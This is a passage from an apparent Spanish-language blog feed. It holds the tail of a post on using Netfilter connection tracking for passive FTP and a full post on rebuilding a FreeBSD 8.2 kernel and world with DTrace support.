<li>El cliente abre dos puertos aleatorios ( N > 1023 y N + 1).</li>
<li>El primer puerto (utilizado para control) se conecta al puerto 21 del servidor y envía el comando PASV.</li>
<li>Luego el servidor abre un puerto no privilegiado ( P > 1023 ) y envía PORT P al cliente. </li>
<li>El cliente inicia una conexión desde el puerto N + 1 al puerto P del servidor para transferir datos.</li>
</ol>
<div>
Como notaran, hacer un seguimiento de los estados de las conexiones es una tarea complicada, si solamente queremos mantener abierto el puerto 21 para todas las conexiones entrantes, y no abrir rangos de puertos innecesarios podemos hacer uso del <b>connection tracking</b> de Netfilter.</div>
</div>
<div>
<div>
Bien sabemos que las conexiones pueden tener diferentes estados (podemos verlo en la salida de<i> netstat(1)</i>):</div>
<div>
<ul>
<li><u>NEW:</u> Un cliente intentando establecer una nueva conexión.</li>
<li><u>ESTABLISHED:</u> Una conexión ya establecida. </li>
<li><u>RELATED:</u> Una conexión haciendo un nuevo request pero que ya es parte de otra conexión establecida.</li>
<li><u>INVALID:</u> Si no es ninguno de los tres estados anteriores, la conexión es invalida.</li>
</ul>
</div>
</div>
<div>
Desde kernels 2.4 <i>connection_tracking</i> es la habilidad que tiene <i>Netfilter</i> de mantener una tabla de estados de las distintas conexióes y así poder tener un track de como se encuentran estas.<br />Para poder hacer esto, debemos seguir algunos pasos que detallaré a continuación.<br /></div>
<div>
Primero que nada debemos añadir la regla de iptables necesaria para esto:</div>
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">-A INPUT -m state --state NEW,ESTABLISHED,RELATED -m tcp --dport 21 -j ACCEPT</span></blockquote>
<div>
Para poder realizar el <i>connection tracking</i> y evitar incluir múltiples reglas de firewall que dejen abierto un gran rango de puertos, podemos hacerlo utilizando dos módulos del kernel: </div>
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># modprobe nf_conntrack_ftp</span></blockquote>
Al incluir en el kernel <i>nf_conntrack_ftp</i>, por una cuestión de dependencias también será cargado <i>nf_conntrack</i>, el cual es el módulo del kernel responsable de proveer las funciones comunes de connection tracking a cada uno de los subsistemas que lo utilicen. A esto también podemos añadir esto de manera definitiva creando el archivo /etc/modprobe.d/conntrack.conf, con el siguiente contenido:<br />
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">alias conntrack nf_conntrack<br />alias conntrack_ftp nf_conntrack_ftp</span> </blockquote>
Si deseamos realizar el connection tracking utilizando FTP en un puerto no estándar, por ejemplo TCP/8021, primero se deberá hacer la excepción en las reglas de iptables, y luego pasarle al módulo nf<i>_conntrack_ftp </i>el parámetro <i>ports</i>, el cual toma un valor entero que define al número de puerto donde realizaremos esta acción, por ejemplo en el archivo <i>/etc/modprobe.d/conntrack.conf</i> esto quedaría así:<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">options nf_conntrack_ftp ports=8021</span></blockquote>tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-56122937793436081152011-11-10T22:05:00.001-03:002012-10-27T21:13:10.004-03:00FreeBSD: Supporting DTraceHace unos días en marco del <a href="http://www.bsdday.org/" target="_blank">BSDDay 2011</a> asistí a una charla de<b> Fer Gleiser</b> donde explicaba el uso de una herramienta increible como es DTracre. Así que partiendo de que tengo un FreeBSD instalado en mi notebook personal, decidí comenzar a aprender esta nueva herramienta.<br />
<br />
Como primera medida, es necesario tener instaladas las fuentes del kernel, por lo que para hacer esto, es necesario ejecutar sysinstall<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwsTjCu-tGDLWxYc0feocVqvJ4QlNnbSizN3qLKpc7cNpGiadW7kzfCd-Nd-26GuX6kTWs7AejK4goP5AHLpBB6SjL1nPnPTULs1yEPeDfd-RzCRohKKZ-xNMJRZLuiBexg-6XA4DXKVM/s1600/Sysinstall1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="411" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwsTjCu-tGDLWxYc0feocVqvJ4QlNnbSizN3qLKpc7cNpGiadW7kzfCd-Nd-26GuX6kTWs7AejK4goP5AHLpBB6SjL1nPnPTULs1yEPeDfd-RzCRohKKZ-xNMJRZLuiBexg-6XA4DXKVM/s640/Sysinstall1.jpg" width="640" /></a></div>
<br />
<a name='more'></a>
Luego ingresar en Configure, seleccionar Distributions:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3LrMgKl5kESAuV70sHXabdxFgZYve3csAPeBouHVOHPidQJHTsEh6cKWXWvcherkYlLz8ucozbCZfeegV38bRxW0RmFv5Zw55Ix5bfinWtDB3RjzscnVVUn9MbzYPcok2_tKLXIv9n-w/s1600/Sysinstall2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="504" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3LrMgKl5kESAuV70sHXabdxFgZYve3csAPeBouHVOHPidQJHTsEh6cKWXWvcherkYlLz8ucozbCZfeegV38bRxW0RmFv5Zw55Ix5bfinWtDB3RjzscnVVUn9MbzYPcok2_tKLXIv9n-w/s640/Sysinstall2.jpg" width="640" /></a></div>
<br />
Seleccionamos SRC:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF3PaeYegsEDcP9Z-rNk6yHKwhr8wTDPb9ADgKx60Hnhn9Xiij8nRcX_oGRcqJkCMOQtO6IM6Zf82wlvk2wGe5RWHTS7MUOERde4RCvr3zFUXhJh4-B49NJ2qmWONmXWhBY0BCbd8movo/s1600/Sysinstall3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="462" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF3PaeYegsEDcP9Z-rNk6yHKwhr8wTDPb9ADgKx60Hnhn9Xiij8nRcX_oGRcqJkCMOQtO6IM6Zf82wlvk2wGe5RWHTS7MUOERde4RCvr3zFUXhJh4-B49NJ2qmWONmXWhBY0BCbd8movo/s640/Sysinstall3.jpg" width="640" /></a></div>
<br />
Y finalmente sys, ya que base se encuentra instado por default:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj443gNnJ9PfVeb321fiCI4pq2L2resC45_iwcwu_yJSmxzxtKDEvS189nJ2MY2XFrcINDZMFYq_UMKFw3V0XHntt4M02Trdp8doYQU0KATpZIU6BRU_fzUpnRYDFKG-arGXmm7zbu7Myk/s1600/Sysinstall4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="638" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj443gNnJ9PfVeb321fiCI4pq2L2resC45_iwcwu_yJSmxzxtKDEvS189nJ2MY2XFrcINDZMFYq_UMKFw3V0XHntt4M02Trdp8doYQU0KATpZIU6BRU_fzUpnRYDFKG-arGXmm7zbu7Myk/s640/Sysinstall4.jpg" width="640" /></a></div>
<br />
Una vez hecho esto damos OK, y comenzara a descomprimir las fuentes del kernel en /etc/src/sys<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJxDbTr075rA6VMnyuup0UCJDHOXkRUncEqY5Iknuf-1t-O5aulrHlwnL3r6BQxObrVw2oJZpmk9zRNqhXLjp94fCLRpssSE5J7QypTTua5PwDxhw3lhju-g0EaDRtITp2dIhnc4xzihc/s1600/Sysinstall5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="107" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJxDbTr075rA6VMnyuup0UCJDHOXkRUncEqY5Iknuf-1t-O5aulrHlwnL3r6BQxObrVw2oJZpmk9zRNqhXLjp94fCLRpssSE5J7QypTTua5PwDxhw3lhju-g0EaDRtITp2dIhnc4xzihc/s400/Sysinstall5.jpg" width="400" /></a></div>
<br />
Una vez que este proceso está terminado, procedemos a compilar el kernel, al cual debemos modificarle algunos parámetros.<br />
<br />
En mi caso tengo instalado FreeBSD 8.2 sobre 64 bits, por lo cual debo editar su pertinente archivo de configuración que se encuentra en /usr/src/sys/amd64/conf/GENERIC seteando los siguientes parámetros:<br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">options KDTRACE_HOOKS</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">options DDB_CTF</span><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">make</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">options DEBUG="-g"</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">makeoptions WITH_CTF=1</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br />
<div>
Guardamos el archivo de configuración bajo el nombre de DTRACE en el mismo directorio y procedemos a compilar el kernel. </div>
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># make buildkernel KERNCONF=DTRACE<br /># make installkernel KERNCONF=DTRACE<br /># shutdown -r NOW</span></blockquote>
<div>
Una vez listo esto, y rebooteado el sistema, procedemos a cargar y verificar que los módulos de DTrace se encuentren funcionando<br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">#</span><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> </span><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">kldload dtraceall</span><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># kldstat | grep dtrace</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">0xffffffff81022000 396 dtraceall.ko</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">0xffffffff81028000 131460 dtrace.ko</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div>
Ahora necesitamos setear unos parámetros en el /etc/make.conf para que el nuevo software compilado no sea strippeado y ademas sea compilado con <b>-f-no-omit-frame-pointer</b>, para de esta manera mantener un registro de la posición del frame pointer, este es un registro de la CPU, que mantiene un record de la dirección de memoria donde se encuentra el último dato añadido al stack utilizando el método LIFO (Last In - Firt Out) (RSP en arquitecturas x86_64 y ESP en arquitecturas i386). Si make.conf no existe en /etc, copiamos un ejemplo de el: </div>
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># cp /usr/share/examples/etc/make.conf /etc/</span></blockquote>
<div>
Y añadimos las siguientes líneas al final:</div>
<div>
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">STRIP=</span><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">CFLAGS+=-fno-omit-frame-pointer</span></blockquote>
Ahora, como paso opcional, podemos hacer un make buildworld. Lo primero es instalar cvsup:<br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># make search name=cvsup</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">Port: cvsup-16.1h_4</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">Path: /usr/ports/net/cvsup</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">Info: File distribution system optimized for CVS </span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">Maint: bzeeb+freebsdports@zabbadoz.net</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">B-deps: </span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">R-deps: </span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">WWW: http://www.cvsup.org/</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># cd /usr/port/net/cvsup && make install clean</span><br />
<br />
Una vez listo, si tenemos instalado el sistema base al hacer el cvsup es posible que fallé con el siguiente mensaje de error:<br />
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">cd: can't cd to /usr/src/usr.bin/make<br />*** Error code 2<br /><br />Stop in /usr/src.<br />*** Error code 1<br /><br />Stop in /usr/src.</span></blockquote>
<div>
Esto es debido a que el parámetro *default host del archivo de configuración de cvsup no se encuentra seteado, por lo cual reemplazamos este con la URI del mirror de que queremos descargar las fuentes:<br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># cp /usr/share/examples/cvsup/standard-supfile /root/standard-supfile</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># vi /root/standard-supfile</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div>
<div>
Y modificamos el parámetro por la URI de un mirror de FreeBSD:</div>
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">*default host=cvsup4.us.FreeBSD.org</span></blockquote>
<div>
Guardamos los cambios y procedemos a hacer el cvsup de la siguiente forma:</div>
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># cvsup /root/standard-supfile</span></blockquote>
</div>
<div>
Una vez listo ya podemos hacer el make buildworld de la siguiente manera:<br />
<div>
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># make WITH_CTF=1 buildworld<br /># shutdown -r NOW</span></blockquote>
</div>
<div>
Booteamos en single-user y ahora procedemos a instalar:</div>
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># boot -s<br /># make installworld</span></blockquote>
</div>
<div>
Listo, ya tenemos nuestr kernel y nuestro entorno con soporte a DTrace, ahora solo resta instalar el userland de la siguiente manera:</div>
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># cd /usr/ports/sysutils/DTraceToolkit/ && make install clean</span></blockquote>
Ahora si, ya podemos hacer uso de DTrace en nuestro sistema. </div>tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0